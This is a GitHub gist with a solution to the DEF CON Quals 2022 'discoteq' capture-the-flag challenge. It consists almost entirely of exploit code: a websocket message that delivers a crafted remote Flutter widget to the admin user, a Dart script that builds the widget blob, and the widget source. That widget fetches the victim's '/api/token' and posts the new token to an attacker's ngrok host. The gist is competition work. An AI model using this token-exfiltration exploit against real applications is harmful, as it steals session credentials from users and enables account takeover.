Skip to content

Instantly share code, notes, and snippets.

@maple3142
Created May 30, 2022
Embed
What would you like to do?
DEF CON Quals 2022 - discoteq
// Use logging breakpoint to set websocket to window.ws
window.ws.send(JSON.stringify({"type":"widget","widget":"@df45-140-115-216-194.ngrok.io/test.rfw","author":{"user":"supernene#a19a69a9","platform":"web"},"recipients":["admin#13371337"],"data":{},"val":"tesads"}))
// Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// This file is hand-formatted.
import 'dart:io';
import 'package:rfw/formats.dart';
void main() {
final String test = File('test.rfwtxt').readAsStringSync();
var mylib = parseLibraryFile(test);
var w = mylib.widgets[0];
mylib.widgets[0] = WidgetDeclaration(w.name,{'loaded': 0},w.root);
File('test.rfw').writeAsBytesSync(encodeLibraryBlob(mylib));
var data = File('./poll').readAsBytesSync();
var lib = decodeLibraryBlob(data);
print(lib);
var data2 = File('./test.rfw').readAsBytesSync();
var lib2 = decodeLibraryBlob(data2);
print(lib2);
}
import core.widgets;
import core.material;
import local;
widget root = Container(
child: Column(
children: [
switch state.loaded {
default: ApiMapper(
url: '/api/token',
jsonKey: 'new_token',
dataKey: 'val',
onLoaded: set state.loaded = 1
),
1: Row(
children: [
Text(
text: 'OK'
),
ApiMapper(
url: '/api/token',
jsonKey: 'new_token',
dataKey: 'dummy',
onLoaded: event 'api_post' {
path: '@df45-140-115-216-194.ngrok.io/report',
body: data.val
}
)
]
)
},
Text(
text: 'test'
)
]
)
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment